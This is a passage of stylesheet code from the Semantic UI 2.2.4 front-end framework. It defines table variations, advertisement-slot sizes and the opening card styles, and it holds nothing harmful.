.ui.table td.negative {
  box-shadow: 0px 0px 0px #E0B4B4 inset;
}

.ui.table tr.negative,
.ui.table td.negative {
  background: #FFF6F6 !important;
  color: #9F3A38 !important;
}

/*--------------
      Error
---------------*/

.ui.table tr.error,
.ui.table td.error {
  box-shadow: 0px 0px 0px #E0B4B4 inset;
}

.ui.table tr.error,
.ui.table td.error {
  background: #FFF6F6 !important;
  color: #9F3A38 !important;
}

/*--------------
     Warning
---------------*/

.ui.table tr.warning,
.ui.table td.warning {
  box-shadow: 0px 0px 0px #C9BA9B inset;
}

.ui.table tr.warning,
.ui.table td.warning {
  background: #FFFAF3 !important;
  color: #573A08 !important;
}

/*--------------
     Active
---------------*/

.ui.table tr.active,
.ui.table td.active {
  box-shadow: 0px 0px 0px rgba(0, 0, 0, 0.87) inset;
}

.ui.table tr.active,
.ui.table td.active {
  background: #E0E0E0 !important;
  color: rgba(0, 0, 0, 0.87) !important;
}

/*--------------
     Disabled
---------------*/

.ui.table tr.disabled td,
.ui.table tr td.disabled,
.ui.table tr.disabled:hover,
.ui.table tr:hover td.disabled {
  pointer-events: none;
  color: rgba(40, 40, 40, 0.3);
}

/*******************************
          Variations
*******************************/

/*--------------
    Stackable
---------------*/

@media only screen and (max-width: 991px) {
  .ui[class*="tablet stackable"].table,
  .ui[class*="tablet stackable"].table tbody,
  .ui[class*="tablet stackable"].table tr,
  .ui[class*="tablet stackable"].table tr > th,
  .ui[class*="tablet stackable"].table tr > td {
    width: 100% !important;
    display: block !important;
  }

  .ui[class*="tablet stackable"].table {
    padding: 0em;
  }

  .ui[class*="tablet stackable"].table thead {
    display: block;
  }

  .ui[class*="tablet stackable"].table tfoot {
    display: block;
  }

  .ui[class*="tablet stackable"].table tr {
    padding-top: 1em;
    padding-bottom: 1em;
    box-shadow: 0px -1px 0px 0px rgba(0, 0, 0, 0.1) inset !important;
  }

  .ui[class*="tablet stackable"].table tr > th,
  .ui[class*="tablet stackable"].table tr > td {
    background: none;
    border: none !important;
    padding: 0.25em 0.75em;
    box-shadow: none !important;
  }

  /* Definition Table */

  .ui.definition[class*="tablet stackable"].table thead th:first-child {
    box-shadow: none !important;
  }
}

/*--------------
 Text Alignment
---------------*/

.ui.table[class*="left aligned"],
.ui.table [class*="left aligned"] {
  text-align: left;
}

.ui.table[class*="center aligned"],
.ui.table [class*="center aligned"] {
  text-align: center;
}

.ui.table[class*="right aligned"],
.ui.table [class*="right aligned"] {
  text-align: right;
}

/*------------------
 Vertical Alignment
------------------*/

.ui.table[class*="top aligned"],
.ui.table [class*="top aligned"] {
  vertical-align: top;
}

.ui.table[class*="middle aligned"],
.ui.table [class*="middle aligned"] {
  vertical-align: middle;
}

.ui.table[class*="bottom aligned"],
.ui.table [class*="bottom aligned"] {
  vertical-align: bottom;
}

/*--------------
    Collapsing
---------------*/

.ui.table th.collapsing,
.ui.table td.collapsing {
  width: 1px;
  white-space: nowrap;
}

/*--------------
     Fixed
---------------*/

.ui.fixed.table {
  table-layout: fixed;
}

.ui.fixed.table th,
.ui.fixed.table td {
  overflow: hidden;
  text-overflow: ellipsis;
}

/*--------------
   Selectable
---------------*/

.ui.selectable.table tbody tr:hover,
.ui.table tbody tr td.selectable:hover {
  background: rgba(0, 0, 0, 0.05) !important;
  color: rgba(0, 0, 0, 0.95) !important;
}

.ui.selectable.inverted.table tbody tr:hover,
.ui.inverted.table tbody tr td.selectable:hover {
  background: rgba(255, 255, 255, 0.08) !important;
  color: #ffffff !important;
}

/* Selectable Cell Link */

.ui.table tbody tr td.selectable {
  padding: 0em;
}

.ui.table tbody tr td.selectable > a:not(.ui) {
  display: block;
  color: inherit;
  padding: 0.78571429em 0.78571429em;
}

/* Other States */

.ui.selectable.table tr.error:hover,
.ui.table tr td.selectable.error:hover,
.ui.selectable.table tr:hover td.error {
  background: #ffe7e7 !important;
  color: #943634 !important;
}

.ui.selectable.table tr.warning:hover,
.ui.table tr td.selectable.warning:hover,
.ui.selectable.table tr:hover td.warning {
  background: #fff4e4 !important;
  color: #493107 !important;
}

.ui.selectable.table tr.active:hover,
.ui.table tr td.selectable.active:hover,
.ui.selectable.table tr:hover td.active {
  background: #E0E0E0 !important;
  color: rgba(0, 0, 0, 0.87) !important;
}

.ui.selectable.table tr.positive:hover,
.ui.table tr td.selectable.positive:hover,
.ui.selectable.table tr:hover td.positive {
  background: #f7ffe6 !important;
  color: #275b28 !important;
}

.ui.selectable.table tr.negative:hover,
.ui.table tr td.selectable.negative:hover,
.ui.selectable.table tr:hover td.negative {
  background: #ffe7e7 !important;
  color: #943634 !important;
}

/*-------------------
      Attached
--------------------*/

/* Middle */

.ui.attached.table {
  top: 0px;
  bottom: 0px;
  border-radius: 0px;
  margin: 0em -1px;
  width: calc(100% +  2px );
  max-width: calc(100% +  2px );
  box-shadow: none;
  border: 1px solid #D4D4D5;
}

.ui.attached + .ui.attached.table:not(.top) {
  border-top: none;
}

/* Top */

.ui[class*="top attached"].table {
  bottom: 0px;
  margin-bottom: 0em;
  top: 0px;
  margin-top: 1em;
  border-radius: 0.28571429rem 0.28571429rem 0em 0em;
}

.ui.table[class*="top attached"]:first-child {
  margin-top: 0em;
}

/* Bottom */

.ui[class*="bottom attached"].table {
  bottom: 0px;
  margin-top: 0em;
  top: 0px;
  margin-bottom: 1em;
  box-shadow: none, none;
  border-radius: 0em 0em 0.28571429rem 0.28571429rem;
}

.ui[class*="bottom attached"].table:last-child {
  margin-bottom: 0em;
}

/*--------------
     Striped
---------------*/

/* Table Striping */

.ui.striped.table > tr:nth-child(2n),
.ui.striped.table tbody tr:nth-child(2n) {
  background-color: rgba(0, 0, 50, 0.02);
}

/* Stripes */

.ui.inverted.striped.table > tr:nth-child(2n),
.ui.inverted.striped.table tbody tr:nth-child(2n) {
  background-color: rgba(255, 255, 255, 0.05);
}

/* Allow striped active hover */

.ui.striped.selectable.selectable.selectable.table tbody tr.active:hover {
  background: #EFEFEF !important;
  color: rgba(0, 0, 0, 0.95) !important;
}

/*--------------
   Single Line
---------------*/

.ui.table[class*="single line"],
.ui.table [class*="single line"] {
  white-space: nowrap;
}

.ui.table[class*="single line"],
.ui.table [class*="single line"] {
  white-space: nowrap;
}

/*-------------------
       Colors
--------------------*/

/* Red */

.ui.red.table {
  border-top: 0.2em solid #DB2828;
}

.ui.inverted.red.table {
  background-color: #DB2828 !important;
  color: #FFFFFF !important;
}

/* Orange */

.ui.orange.table {
  border-top: 0.2em solid #F2711C;
}

.ui.inverted.orange.table {
  background-color: #F2711C !important;
  color: #FFFFFF !important;
}

/* Yellow */

.ui.yellow.table {
  border-top: 0.2em solid #FBBD08;
}

.ui.inverted.yellow.table {
  background-color: #FBBD08 !important;
  color: #FFFFFF !important;
}

/* Olive */

.ui.olive.table {
  border-top: 0.2em solid #B5CC18;
}

.ui.inverted.olive.table {
  background-color: #B5CC18 !important;
  color: #FFFFFF !important;
}

/* Green */

.ui.green.table {
  border-top: 0.2em solid #21BA45;
}

.ui.inverted.green.table {
  background-color: #21BA45 !important;
  color: #FFFFFF !important;
}

/* Teal */

.ui.teal.table {
  border-top: 0.2em solid #00B5AD;
}

.ui.inverted.teal.table {
  background-color: #00B5AD !important;
  color: #FFFFFF !important;
}

/* Blue */

.ui.blue.table {
  border-top: 0.2em solid #2185D0;
}

.ui.inverted.blue.table {
  background-color: #2185D0 !important;
  color: #FFFFFF !important;
}

/* Violet */

.ui.violet.table {
  border-top: 0.2em solid #6435C9;
}

.ui.inverted.violet.table {
  background-color: #6435C9 !important;
  color: #FFFFFF !important;
}

/* Purple */

.ui.purple.table {
  border-top: 0.2em solid #A333C8;
}

.ui.inverted.purple.table {
  background-color: #A333C8 !important;
  color: #FFFFFF !important;
}

/* Pink */

.ui.pink.table {
  border-top: 0.2em solid #E03997;
}

.ui.inverted.pink.table {
  background-color: #E03997 !important;
  color: #FFFFFF !important;
}

/* Brown */

.ui.brown.table {
  border-top: 0.2em solid #A5673F;
}

.ui.inverted.brown.table {
  background-color: #A5673F !important;
  color: #FFFFFF !important;
}

/* Grey */

.ui.grey.table {
  border-top: 0.2em solid #767676;
}

.ui.inverted.grey.table {
  background-color: #767676 !important;
  color: #FFFFFF !important;
}

/* Black */

.ui.black.table {
  border-top: 0.2em solid #1B1C1D;
}

.ui.inverted.black.table {
  background-color: #1B1C1D !important;
  color: #FFFFFF !important;
}

/*--------------
  Column Count
---------------*/

/* Grid Based */

.ui.one.column.table td {
  width: 100%;
}

.ui.two.column.table td {
  width: 50%;
}

.ui.three.column.table td {
  width: 33.33333333%;
}

.ui.four.column.table td {
  width: 25%;
}

.ui.five.column.table td {
  width: 20%;
}

.ui.six.column.table td {
  width: 16.66666667%;
}

.ui.seven.column.table td {
  width: 14.28571429%;
}

.ui.eight.column.table td {
  width: 12.5%;
}

.ui.nine.column.table td {
  width: 11.11111111%;
}

.ui.ten.column.table td {
  width: 10%;
}

.ui.eleven.column.table td {
  width: 9.09090909%;
}

.ui.twelve.column.table td {
  width: 8.33333333%;
}

.ui.thirteen.column.table td {
  width: 7.69230769%;
}

.ui.fourteen.column.table td {
  width: 7.14285714%;
}

.ui.fifteen.column.table td {
  width: 6.66666667%;
}

.ui.sixteen.column.table td {
  width: 6.25%;
}

/* Column Width */

.ui.table th.one.wide,
.ui.table td.one.wide {
  width: 6.25%;
}

.ui.table th.two.wide,
.ui.table td.two.wide {
  width: 12.5%;
}

.ui.table th.three.wide,
.ui.table td.three.wide {
  width: 18.75%;
}

.ui.table th.four.wide,
.ui.table td.four.wide {
  width: 25%;
}

.ui.table th.five.wide,
.ui.table td.five.wide {
  width: 31.25%;
}

.ui.table th.six.wide,
.ui.table td.six.wide {
  width: 37.5%;
}

.ui.table th.seven.wide,
.ui.table td.seven.wide {
  width: 43.75%;
}

.ui.table th.eight.wide,
.ui.table td.eight.wide {
  width: 50%;
}

.ui.table th.nine.wide,
.ui.table td.nine.wide {
  width: 56.25%;
}

.ui.table th.ten.wide,
.ui.table td.ten.wide {
  width: 62.5%;
}

.ui.table th.eleven.wide,
.ui.table td.eleven.wide {
  width: 68.75%;
}

.ui.table th.twelve.wide,
.ui.table td.twelve.wide {
  width: 75%;
}

.ui.table th.thirteen.wide,
.ui.table td.thirteen.wide {
  width: 81.25%;
}

.ui.table th.fourteen.wide,
.ui.table td.fourteen.wide {
  width: 87.5%;
}

.ui.table th.fifteen.wide,
.ui.table td.fifteen.wide {
  width: 93.75%;
}

.ui.table th.sixteen.wide,
.ui.table td.sixteen.wide {
  width: 100%;
}

/*--------------
    Sortable
---------------*/

.ui.sortable.table thead th {
  cursor: pointer;
  white-space: nowrap;
  border-left: 1px solid rgba(34, 36, 38, 0.15);
  color: rgba(0, 0, 0, 0.87);
}

.ui.sortable.table thead th:first-child {
  border-left: none;
}

.ui.sortable.table thead th.sorted,
.ui.sortable.table thead th.sorted:hover {
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
}

.ui.sortable.table thead th:after {
  display: none;
  font-style: normal;
  font-weight: normal;
  text-decoration: inherit;
  content: '';
  height: 1em;
  width: auto;
  opacity: 0.8;
  margin: 0em 0em 0em 0.5em;
  font-family: 'Icons';
}

.ui.sortable.table thead th.ascending:after {
  content: '\f0d8';
}

.ui.sortable.table thead th.descending:after {
  content: '\f0d7';
}

/* Hover */

.ui.sortable.table th.disabled:hover {
  cursor: auto;
  color: rgba(40, 40, 40, 0.3);
}

.ui.sortable.table thead th:hover {
  background: rgba(0, 0, 0, 0.05);
  color: rgba(0, 0, 0, 0.8);
}

/* Sorted */

.ui.sortable.table thead th.sorted {
  background: rgba(0, 0, 0, 0.05);
  color: rgba(0, 0, 0, 0.95);
}

.ui.sortable.table thead th.sorted:after {
  display: inline-block;
}

/* Sorted Hover */

.ui.sortable.table thead th.sorted:hover {
  background: rgba(0, 0, 0, 0.05);
  color: rgba(0, 0, 0, 0.95);
}

/* Inverted */

.ui.inverted.sortable.table thead th.sorted {
  background: rgba(255, 255, 255, 0.15) -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.05));
  background: rgba(255, 255, 255, 0.15) linear-gradient(transparent, rgba(0, 0, 0, 0.05));
  color: #ffffff;
}

.ui.inverted.sortable.table thead th:hover {
  background: rgba(255, 255, 255, 0.08) -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.05));
  background: rgba(255, 255, 255, 0.08) linear-gradient(transparent, rgba(0, 0, 0, 0.05));
  color: #ffffff;
}

.ui.inverted.sortable.table thead th {
  border-left-color: transparent;
  border-right-color: transparent;
}

/*--------------
    Inverted
---------------*/

/* Text Color */

.ui.inverted.table {
  background: #333333;
  color: rgba(255, 255, 255, 0.9);
  border: none;
}

.ui.inverted.table th {
  background-color: rgba(0, 0, 0, 0.15);
  border-color: rgba(255, 255, 255, 0.1) !important;
  color: rgba(255, 255, 255, 0.9);
}

.ui.inverted.table tr td {
  border-color: rgba(255, 255, 255, 0.1) !important;
}

.ui.inverted.table tr.disabled td,
.ui.inverted.table tr td.disabled,
.ui.inverted.table tr.disabled:hover td,
.ui.inverted.table tr:hover td.disabled {
  pointer-events: none;
  color: rgba(225, 225, 225, 0.3);
}

/* Definition */

.ui.inverted.definition.table tfoot:not(.full-width) th:first-child,
.ui.inverted.definition.table thead:not(.full-width) th:first-child {
  background: #FFFFFF;
}

.ui.inverted.definition.table tr td:first-child {
  background: rgba(255, 255, 255, 0.02);
  color: #ffffff;
}

/*--------------
   Collapsing
---------------*/

.ui.collapsing.table {
  width: auto;
}

/*--------------
      Basic
---------------*/

.ui.basic.table {
  background: transparent;
  border: 1px solid rgba(34, 36, 38, 0.15);
  box-shadow: none;
}

.ui.basic.table thead,
.ui.basic.table tfoot {
  box-shadow: none;
}

.ui.basic.table th {
  background: transparent;
  border-left: none;
}

.ui.basic.table tbody tr {
  border-bottom: 1px solid rgba(0, 0, 0, 0.1);
}

.ui.basic.table td {
  background: transparent;
}

.ui.basic.striped.table tbody tr:nth-child(2n) {
  background-color: rgba(0, 0, 0, 0.05) !important;
}

/* Very Basic */

.ui[class*="very basic"].table {
  border: none;
}

.ui[class*="very basic"].table:not(.sortable):not(.striped) th,
.ui[class*="very basic"].table:not(.sortable):not(.striped) td {
  padding: '';
}

.ui[class*="very basic"].table:not(.sortable):not(.striped) th:first-child,
.ui[class*="very basic"].table:not(.sortable):not(.striped) td:first-child {
  padding-left: 0em;
}

.ui[class*="very basic"].table:not(.sortable):not(.striped) th:last-child,
.ui[class*="very basic"].table:not(.sortable):not(.striped) td:last-child {
  padding-right: 0em;
}

.ui[class*="very basic"].table:not(.sortable):not(.striped) thead tr:first-child th {
  padding-top: 0em;
}

/*--------------
     Celled
---------------*/

.ui.celled.table tr th,
.ui.celled.table tr td {
  border-left: 1px solid rgba(34, 36, 38, 0.1);
}

.ui.celled.table tr th:first-child,
.ui.celled.table tr td:first-child {
  border-left: none;
}

/*--------------
     Padded
---------------*/

.ui.padded.table th {
  padding-left: 1em;
  padding-right: 1em;
}

.ui.padded.table th,
.ui.padded.table td {
  padding: 1em 1em;
}

/* Very */

.ui[class*="very padded"].table th {
  padding-left: 1.5em;
  padding-right: 1.5em;
}

.ui[class*="very padded"].table td {
  padding: 1.5em 1.5em;
}

/*--------------
     Compact
---------------*/

.ui.compact.table th {
  padding-left: 0.7em;
  padding-right: 0.7em;
}

.ui.compact.table td {
  padding: 0.5em 0.7em;
}

/* Very */

.ui[class*="very compact"].table th {
  padding-left: 0.6em;
  padding-right: 0.6em;
}

.ui[class*="very compact"].table td {
  padding: 0.4em 0.6em;
}

/*--------------
      Sizes
---------------*/

/* Small */

.ui.small.table {
  font-size: 0.9em;
}

/* Standard */

.ui.table {
  font-size: 1em;
}

/* Large */

.ui.large.table {
  font-size: 1.1em;
}

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Ad
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Copyright 2013 Contributors
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
         Advertisement
*******************************/

.ui.ad {
  display: block;
  overflow: hidden;
  margin: 1em 0em;
}

.ui.ad:first-child {
  margin: 0em;
}

.ui.ad:last-child {
  margin: 0em;
}

.ui.ad iframe {
  margin: 0em;
  padding: 0em;
  border: none;
  overflow: hidden;
}

/*--------------
     Common
---------------*/

/* Leaderboard */

.ui.leaderboard.ad {
  width: 728px;
  height: 90px;
}

/* Medium Rectangle */

.ui[class*="medium rectangle"].ad {
  width: 300px;
  height: 250px;
}

/* Large Rectangle */

.ui[class*="large rectangle"].ad {
  width: 336px;
  height: 280px;
}

/* Half Page */

.ui[class*="half page"].ad {
  width: 300px;
  height: 600px;
}

/*--------------
     Square
---------------*/

/* Square */

.ui.square.ad {
  width: 250px;
  height: 250px;
}

/* Small Square */

.ui[class*="small square"].ad {
  width: 200px;
  height: 200px;
}

/*--------------
    Rectangle
---------------*/

/* Small Rectangle */

.ui[class*="small rectangle"].ad {
  width: 180px;
  height: 150px;
}

/* Vertical Rectangle */

.ui[class*="vertical rectangle"].ad {
  width: 240px;
  height: 400px;
}

/*--------------
     Button
---------------*/

.ui.button.ad {
  width: 120px;
  height: 90px;
}

.ui[class*="square button"].ad {
  width: 125px;
  height: 125px;
}

.ui[class*="small button"].ad {
  width: 120px;
  height: 60px;
}

/*--------------
   Skyscrapers
---------------*/

/* Skyscraper */

.ui.skyscraper.ad {
  width: 120px;
  height: 600px;
}

/* Wide Skyscraper */

.ui[class*="wide skyscraper"].ad {
  width: 160px;
}

/*--------------
     Banners
---------------*/

/* Banner */

.ui.banner.ad {
  width: 468px;
  height: 60px;
}

/* Vertical Banner */

.ui[class*="vertical banner"].ad {
  width: 120px;
  height: 240px;
}

/* Top Banner */

.ui[class*="top banner"].ad {
  width: 930px;
  height: 180px;
}

/* Half Banner */

.ui[class*="half banner"].ad {
  width: 234px;
  height: 60px;
}

/*--------------
    Boards
---------------*/

/* Leaderboard */

.ui[class*="large leaderboard"].ad {
  width: 970px;
  height: 90px;
}

/* Billboard */

.ui.billboard.ad {
  width: 970px;
  height: 250px;
}

/*--------------
    Panorama
---------------*/

/* Panorama */

.ui.panorama.ad {
  width: 980px;
  height: 120px;
}

/*--------------
     Netboard
---------------*/

/* Netboard */

.ui.netboard.ad {
  width: 580px;
  height: 400px;
}

/*--------------
     Mobile
---------------*/

/* Large Mobile Banner */

.ui[class*="large mobile banner"].ad {
  width: 320px;
  height: 100px;
}

/* Mobile Leaderboard */

.ui[class*="mobile leaderboard"].ad {
  width: 320px;
  height: 50px;
}

/*******************************
             Types
*******************************/

/* Mobile Sizes */

.ui.mobile.ad {
  display: none;
}

@media only screen and (max-width: 767px) {
  .ui.mobile.ad {
    display: block;
  }
}

/*******************************
           Variations
*******************************/

.ui.centered.ad {
  margin-left: auto;
  margin-right: auto;
}

.ui.test.ad {
  position: relative;
  background: #545454;
}

.ui.test.ad:after {
  position: absolute;
  top: 50%;
  left: 50%;
  width: 100%;
  text-align: center;
  -webkit-transform: translateX(-50%) translateY(-50%);
  -ms-transform: translateX(-50%) translateY(-50%);
  transform: translateX(-50%) translateY(-50%);
  content: 'Ad';
  color: #FFFFFF;
  font-size: 1em;
  font-weight: bold;
}

.ui.mobile.test.ad:after {
  font-size: 0.85714286em;
}

.ui.test.ad[data-text]:after {
  content: attr(data-text);
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
    User Variable Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Item
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Standard
*******************************/

/*--------------
      Card
---------------*/

.ui.cards > .card,
.ui.card {
  max-width: 100%;
  position: relative;
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
  -webkit-flex-direction: column;
  -ms-flex-direction: column;
  flex-direction: column;
  width: 290px;
  min-height: 0px;
  background: #FFFFFF;
  padding: 0em;
  border: none;
  border-radius: 0.28571429rem;
  box-shadow: 0px 1px 3px 0px #D4D4D5, 0px 0px 0px 1px #D4D4D5;
  -webkit-transition: box-shadow 0.1s ease, -webkit-transform 0.1s ease;
  transition: box-shadow 0.1s ease, -webkit-transform 0.1s ease;
  transition: box-shadow 0.1s ease, transform 0.1s ease;
  transition: box-shadow 0.1s ease, transform 0.1s ease, -webkit-transform 0.1s ease;
  z-index: '';
}

.ui.card {
  margin: 1em 0em;
}

.ui.cards > .card a,
.ui.card a {
  cursor: pointer;
}

.ui.card:first-child {
  margin-top: 0em;
}

.ui.card:last-child {
  margin-bottom: 0em;
}

/*--------------
      Cards
---------------*/

.ui.cards {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  margin: -0.875em -0.5em;
  -webkit-flex-wrap: wrap;
  -ms-flex-wrap: wrap;
  flex-wrap: wrap;
}

.ui.cards > .card {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  margin: 0.875em 0.5em;
  float: none;
}

/* Clearing */

.ui.cards:after,
.ui.card:after {
  display: block;
  content: ' ';
  height: 0px;
  clear: both;
  overflow: hidden;
  visibility: hidden;
}

/* Consecutive Card Groups Preserve Row Spacing */

.ui.cards ~ .ui.cards {
  margin-top: 0.875em;
}

/*--------------
  Rounded Edges
---------------*/

.ui.cards > .card > :first-child,
.ui.card > :first-child {
  border-radius: 0.28571429rem 0.28571429rem 0em 0em !important;
  border-top: none !important;
}

.ui.cards > .card > :last-child,
.ui.card > :last-child {
  border-radius: 0em 0em 0.28571429rem 0.28571429rem !important;
}

.ui.cards > .card > :only-child,
.ui.card > :only-child {
  border-radius: 0.28571429rem !important;
}

/*--------------
     Images
---------------*/

.ui.cards > .card > .image,
.ui.card > .image {
  position: relative;
  display: block;
  -webkit-box-flex: 0;
  -webkit-flex: 0 0 auto;
  -ms-flex: 0 0 auto;
  flex: 0 0 auto;
  padding: 0em;
  background: rgba(0, 0, 0, 0.05);
}

.ui.cards > .card > .image > img,
.ui.card > .image > img {
  display: block;
  width: 100%;
  height: auto;
  border-radius: inherit;
}

.ui.cards > .card > .image:not(.ui) > img,
.ui.card > .image:not(.ui) > img {
  border: none;
}

/*--------------
     Content
---------------*/

.ui.cards > .card > .content,
.ui.card > .content {
  -webkit-box-flex: 1;
  -webkit-flex-grow: 1;
  -ms-flex-positive: 1;
  flex-grow: 1;
  border: none;
  border-top: 1px solid rgba(34, 36, 38, 0.1);
  background: none;
  margin: 0em;
  padding: 1em 1em;
  box-shadow: none;
  font-size: 1em;
  border-radius: 0em;
}

.ui.cards > .card > .content:after,
.ui.card > .content:after {
  display: block;
  content: ' ';
  height: 0px;
  clear: both;
  overflow: hidden;
  visibility: hidden;
}

.ui.cards > .card > .content > .header,
.ui.card > .content > .header {
  display: block;
  margin: '';
  
  color: rgba(0, 0, 0, 0.85);
}

/* Default Header Size */

.ui.cards > .card > .content > .header:not(.ui),
.ui.card > .content > .header:not(.ui) {
  font-weight: bold;
  font-size: 1.28571429em;
  margin-top: -0.21425em;
  line-height: 1.2857em;
}

.ui.cards > .card > .content > .meta + .description,
.ui.cards > .card > .content > .header + .description,
.ui.card > .content > .meta + .description,
.ui.card > .content > .header + .description {
  margin-top: 0.5em;
}

/*----------------
 Floated Content
-----------------*/

.ui.cards > .card [class*="left floated"],
.ui.card [class*="left floated"] {
  float: left;
}

.ui.cards > .card [class*="right floated"],
.ui.card [class*="right floated"] {
  float: right;
}

/*--------------
     Aligned
---------------*/

.ui.cards > .card [class*="left aligned"],
.ui.card [class*="left aligned"] {
  text-align: left;
}

.ui.cards > .card [class*="center aligned"],
.ui.card [class*="center aligned"] {
  text-align: center;
}

.ui.cards > .card [class*="right aligned"],
.ui.card [class*="right aligned"] {
  text-align: right;
}

/*--------------
  Content Image
---------------*/

.ui.cards > .card .content img,
.ui.card .content img {
  display: inline-block;
  vertical-align: middle;
  width: '';
}

.ui.cards > .card img.avatar,
.ui.cards > .card .avatar img,
.ui.card img.avatar,
.ui.card .avatar img {
  width: 2em;
  height: 2em;
  border-radius: 500rem;
}

/*--------------
   Description
---------------*/

.ui.cards > .card > .content > .description,
.ui.card > .content > .description {
  clear: both;
  color: rgba(0, 0, 0, 0.68);
}

/*--------------
    Paragraph
---------------*/

.ui.cards > .card > .content p,
.ui.card > .content p {
  margin: 0em 0em 0.5em;
}

.ui.cards > .card > .content p:last-child,
.ui.card > .content p:last-child {
  margin-bottom: 0em;
}

/*--------------
      Meta
---------------*/

.ui.cards > .card .meta,
.ui.card .meta {
  font-size: 1em;
  color: rgba(0, 0, 0, 0.4);
}

.ui.cards > .card .meta *,
.ui.card .meta * {
  margin-right: 0.3em;
}

.ui.cards > .card .meta :last-child,
.ui.card .meta :last-child {
  margin-right: 0em;
}

.ui.cards > .card .meta [class*="right floated"],
.ui.card .meta [class*="right floated"] {
  margin-right: 0em;
  margin-left: 0.3em;
}

/*--------------
      Links
---------------*/

/* Generic */

.ui.cards > .card > .content a:not(.ui),
.ui.card > .content a:not(.ui) {
  color: '';
  -webkit-transition: color 0.1s ease;
  transition: color 0.1s ease;
}

.ui.cards > .card > .content a:not(.ui):hover,
.ui.card > .content a:not(.ui):hover {
  color: '';
}

/* Header */

.ui.cards > .card > .content > a.header,
.ui.card > .content > a.header {
  color: rgba(0, 0, 0, 0.85);
}

.ui.cards > .card > .content > a.header:hover,
.ui.card > .content > a.header:hover {
  color: #1e70bf;
}

/* Meta */

.ui.cards > .card .meta > a:not(.ui),
.ui.card .meta > a:not(.ui) {
  color: rgba(0, 0, 0, 0.4);
}

.ui.cards > .card .meta > a:not(.ui):hover,
.ui.card .meta > a:not(.ui):hover {
  color: rgba(0, 0, 0, 0.87);
}

/*--------------
     Buttons
---------------*/

.ui.cards > .card > .buttons,
.ui.card > .buttons,
.ui.cards > .card > .button,
.ui.card > .button {
  margin: 0px -1px;
  width: calc(100% +  2px );
}

/*--------------
      Dimmer
---------------*/

.ui.cards > .card .dimmer,
.ui.card .dimmer {
  background-color: '';
  z-index: 10;
}

/*--------------
     Labels
---------------*/

/*-----Star----- */

/* Icon */

.ui.cards > .card > .content .star.icon,
.ui.card > .content .star.icon {
  cursor: pointer;
  opacity: 0.75;
  -webkit-transition: color 0.1s ease;
  transition: color 0.1s ease;
}

.ui.cards > .card > .content .star.icon:hover,
.ui.card > .content .star.icon:hover {
  opacity: 1;
  color: #FFB70A;
}

.ui.cards > .card > .content .active.star.icon,
.ui.card > .content .active.star.icon {
  color: #FFE623;
}

/*-----Like----- */

/* Icon */

.ui.cards > .card > .content .like.icon,
.ui.card > .content .like.icon {
  cursor: pointer;
  opacity: 0.75;
  -webkit-transition: color 0.1s ease;
  transition: color 0.1s ease;
}

.ui.cards > .card > .content .like.icon:hover,
.ui.card > .content .like.icon:hover {
  opacity: 1;
  color: #FF2733;
}

.ui.cards > .card > .content .active.like.icon,
.ui.card > .content .active.like.icon {
  color: #FF2733;
}

/*----------------
  Extra Content
-----------------*/

.ui.cards > .card > .extra,
.ui.card > .extra {
  max-width: 100%;
  min-height: 0em !important;
  -webkit-box-flex: 0;
  -webkit-flex-grow: 0;
  -ms-flex-positive: 0;
  flex-grow: 0;
  border-top: 1px solid rgba(0, 0, 0, 0.05) !important;
  position: static;
  background: none;
  width: auto;
  margin: 0em 0em;
  padding: 0.75em 1em;
  top: 0em;
  left: 0em;
  color: rgba(0, 0, 0, 0.4);
  box-shadow: none;
  -webkit-transition: color 0.1s ease;
  transition: color 0.1s ease;
}

.ui.cards > .card > .extra a:not(.ui),
.ui.card > .extra a:not(.ui) {
  color: rgba(0, 0, 0, 0.4);
}

.ui.cards > .card > .extra a:not(.ui):hover,
.ui.card > .extra a:not(.ui):hover {
  color: #1e70bf;
}

/*******************************
           Variations
*******************************/

/*-------------------
       Raised
--------------------*/

.ui.raised.cards > .card,
.ui.raised.card {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 4px 0px rgba(34, 36, 38, 0.12), 0px 2px 10px 0px rgba(34, 36, 38, 0.15);
}

.ui.raised.cards a.card:hover,
.ui.link.cards .raised.card:hover,
a.ui.raised.card:hover,
.ui.link.raised.card:hover {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 4px 0px rgba(34, 36, 38, 0.15), 0px 2px 10px 0px rgba(34, 36, 38, 0.25);
}

.ui.raised.cards > .card,
.ui.raised.card {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 4px 0px rgba(34, 36, 38, 0.12), 0px 2px 10px 0px rgba(34, 36, 38, 0.15);
}

/*-------------------
       Centered
--------------------*/

.ui.centered.cards {
  -webkit-box-pack: center;
  -webkit-justify-content: center;
  -ms-flex-pack: center;
  justify-content: center;
}

.ui.centered.card {
  margin-left: auto;
  margin-right: auto;
}

/*-------------------
        Fluid
--------------------*/

.ui.fluid.card {
  width: 100%;
  max-width: 9999px;
}

/*-------------------
        Link
--------------------*/

.ui.cards a.card,
.ui.link.cards .card,
a.ui.card,
.ui.link.card {
  -webkit-transform: none;
  -ms-transform: none;
  transform: none;
}

.ui.cards a.card:hover,
.ui.link.cards .card:hover,
a.ui.card:hover,
.ui.link.card:hover {
  cursor: pointer;
  z-index: 5;
  background: #FFFFFF;
  border: none;
  box-shadow: 0px 1px 3px 0px #BCBDBD, 0px 0px 0px 1px #D4D4D5;
  -webkit-transform: translateY(-3px);
  -ms-transform: translateY(-3px);
  transform: translateY(-3px);
}

/*-------------------
       Colors
--------------------*/

/* Red */

.ui.red.cards > .card,
.ui.cards > .red.card,
.ui.red.card {
